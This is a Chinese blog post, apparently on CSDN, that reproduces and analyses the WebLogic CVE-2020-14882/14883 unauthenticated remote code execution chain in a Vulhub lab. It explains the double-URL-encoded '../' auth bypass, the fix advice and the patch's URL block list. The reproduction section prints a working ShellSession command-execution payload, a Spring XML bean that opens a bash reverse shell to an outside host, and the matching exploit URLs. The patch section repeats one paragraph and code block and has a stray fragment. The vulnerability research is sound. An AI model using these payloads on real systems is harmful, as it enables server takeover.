CVE-2020-14882

CVE-2020-14882(Weblogic未授权命令执行漏洞)

漏洞描述

10 月 21 日,Oracle 官方发布数百个组件的高危漏洞公告。其中组合利用 CVE-2020-14882/CVE-2020-14883 可使未经授权的攻击者绕过 WebLogic 后台登录等限制,最终远程执行代码接管 WebLogic 服务器,利用难度极低,风险极大。

此处漏洞均存在于 WebLogic 的控制台中。该组件为 WebLogic 全版本自带组件,并且该漏洞通过 HTTP 协议进行利用。

CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

影响版本

  • WebLogic 10.3.6.0.0
  • WebLogic 12.1.3.0.0
  • WebLogic 12.2.1.3.0
  • WebLogic 12.2.1.4.0
  • WebLogic 14.1.1.0.0

环境配置

  • Vulhub项目
  • Docker-compose启动

漏洞复现

http://192.168.40.129:7001/console

漏洞存在验证

符合漏洞利用范围

http://192.168.40.129:7001/console/css/%252e%252e%252fconsole.portal
# %252e%252e%252f为../两次urlencode结果

未授权登录显示的页面和正常登录比起来限制了很多的操作,由于权限不足,缺少部署等功能,无法安装应用,所以也无法通过后台部署war包等方式直接获取权限。

手工复现

  • com.tangosol.coherence.mvel2.sh.ShellSession利用

此利用方法只能在 Weblogic 12.2.1 及以上版本利用,因为 10.3.6 并不存在 com.tangosol.coherence.mvel2.sh.ShellSession 类

/console/css/%252e%252e%252fconsolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt();

这里我尝试失败

  • com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext利用

首先需要在VPS上写一个恶意xml文件

<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
  <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
    <constructor-arg>
      <list>
        <value>/bin/bash</value>
        <value>-c</value>
        <value><![CDATA[bash -i >& /dev/tcp/{IP}/{PORT} 0>&1]]></value>
      </list>
    </constructor-arg>
  </bean>
</beans>
# IP和PORT换成实际的
http://192.168.40.129:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("{IP}/{FILENAME}")
# 也可以使用ClassPathXmlApplicationContext("{IP}/{FILENAME}")

成功反弹shell

MSF复现

search cve:2020-14882
set target 1
# 默认payload为powershell,我们这里是linux的payload

漏洞原理

关于静态资源和权限控制的分析

要分析这个洞,首先我们需要了解一下,登录weblogic管理控制台的权限控制。

在处理url的weblogic.servlet.internal.WebAppServletContext#doSecuredExecute方法中,调用如下的代码去判断权限等一切有关于安全的内容。代码如下。

if(context.getSecurityManager().checkAccess(req, rsp, applyAuthFilters, false)) {
	if(s != null) {
		int count = ((SessionSecurityData)s).getConcurrentRequestCount();
	if(maxConcurrentRequestsAllowed != -1 && count > maxConcurrentRequestsAllowed) {
		context.logError("Rejecting request since concurrent requests allowable limit exceeded :"+ 				maxConcurrentRequestsAllowed);
		rsp.sendError(500);
	return;
	}
}

weblogic.servlet.security.internal.WebAppSecurity#checkAccess(HttpServletRequest, HttpServletResponse, boolean, boolean, boolean)中,判断是否所有url都需要权限。当然,访问静态资源肯定是不需要登陆的,可能是为了浏览器兼容性考虑,因为大部分浏览器在登陆后,对访问静态资源都会添加cookie头,只有个别浏览器不会。

所以weblogic将会根据访问的url,也就是是否为静态资源,去返回一个ResourceConstraint对象。该对象描述了该url访问的资源的详细权限信息。

ResourceConstraint resourceConstraint = checkAllResources ? Holder.ALL_CONSTRAINT : this.getConstraint(request);

authorized = this.delegateModule.isAuthorized(request, response, resourceConstraint, applyAuthFilters)

然后调用weblogic.servlet.security.internal.SecurityModule#isAuthorized方法,在该方法中获取用户session,调用weblogic.servlet.security.internal.ChainedSecurityModule#checkAccess方法做进一步权限校验。

最后会在weblogic.servlet.security.internal.CertSecurityModule#checkUserPerm中调用weblogic.servlet.security.internal.WebAppSecurity#hasPermission方法,根据最开始生成的ResourceConstraint对象,判断该次http请求是否有权限。如图所示

img

如果用户访问的是静态资源,则返回unrestricted的值,hasPermission返回为true,weblogic认为你有权限访问,于是就会放行。如果你访问非静态权限,则直接拦截你的请求,重定向至登陆页。

于是绕过登录的关键在于,怎么访问正常的资源,但是weblogic返回的是静态资源的ResourceConstraint对象。


我们回到最开始的

ResourceConstraint resourceConstraint = checkAllResources ? Holder.ALL_CONSTRAINT : this.getConstraint(request)

跟入weblogic.servlet.security.internal.WebAppSecurityWLS#getConstraint(java.lang.String, java.lang.String)

ResourceConstraint rcForAllMethods = consForAllMethods == null ? null :(ResourceConstraint)consForAllMethods.get(relURI);

在这里会调用weblogic.servlet.utils.StandardURLMapping#get去根据url,返回对应的ResourceConstraint对象。

public Object get(String path) {
	path = path.length() == 0 ? "/": this.cased(path);
	Object value = null;
	if((value = this.getExactOrPathMatch(path)) != null) {
        returnvalue;} 
    else{
		return(value = this.getExtensionMatch(path)) != null ? value : this.getDefault();
	}
}

首先调用getExactOrPathMatch方法,也就是根据url,匹配是否在静态资源列表中

img

%252E%252E%252F恰好是../的url二次编码结果。这样既可以返回静态资源的ResourceConstraint对象,又不会影响正常访问

二次编码原因

在poc中我们可以看到,../被二次编码了。下面我们来分析一下weblogic能解开的原因。

根据http规定,url部分,需要url编码后发送给服务器。服务器正常解开并继续处理。这是第一层url编码

第二层编码的处理,在com.bea.netuix.servlets.manager.UIServletInternal#getTree中。

public static UIControl getTree(String requestPattern, UIContext ctxt, boolean setContentType, ResolvedLocale resolvedLocale) throws IOException, ServletException {
	HttpServletRequest request = ctxt.getServletRequest();
	HttpServletResponse response = ctxt.getServletResponse();
	requestPattern = URLDecoder.decode(requestPattern,containerServices.getWebappServices().getServerDefaultEncoding());

其中URLDecoder.decode会对第一次编码后的url做第二次解码的工作,当然,如果url还存在url编码的话

[!question]
一次url编码为什么不可以绕过?

因为经过服务器一次解码后,在weblogic.servlet.utils.StandardURLMapping#get处,无法匹配到静态资源。会被还原成原本的url,所以无法绕过,也就是说如果我们传的是/css/%2E%2E%2Fconsole.portal,那么解码后就是/css/../console.portal,这样发到服务端就没办法匹配到静态资源了,直接处理成了/console.portal

大家有机会可以看一下weblogic.utils.collections.MatchMap#match关于查找的代码。

参考文章:

https://cert.360.cn/report/detail?id=a95c049c576af8d0e56ae14fad6813f4

https://www.freebuf.com/articles/web/253446.html

修复建议

此次 Oracle 官方的 CPU已发布了针对该漏洞的补丁,请受影响用户及时下载补丁程序并安装更新。

及时更新补丁,参考oracle官网发布的补丁:

注:Oracle官方补丁需要用户持有正版软件的许可账号,使用该账号登陆https://support.oracle.com后,可以下载最新补丁。

补丁分析

在这里我的weblogic版本为12.2.1.4,其他版本都大同小异。下面我们看一下补丁diff结果。

img

因为这个类是weblogic从http访问的处理类,直接禁止url是否包含危险字符,如果包含,则直接退出。修复方案简单粗暴,不得不佩服。危险字符主要有以下几个。

private static final String[] IllegalUrl = new String[]{";", "%252E%252E", "%2E%2E", 
"..", "%3C", "%3E", "<", ">"};
90552256)]

因为这个类是weblogic从http访问的处理类,直接禁止url是否包含危险字符,如果包含,则直接退出。修复方案简单粗暴,不得不佩服。危险字符主要有以下几个。

```java
private static final String[] IllegalUrl = new String[]{";", "%252E%252E", "%2E%2E", 
"..", "%3C", "%3E", "<", ">"};
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值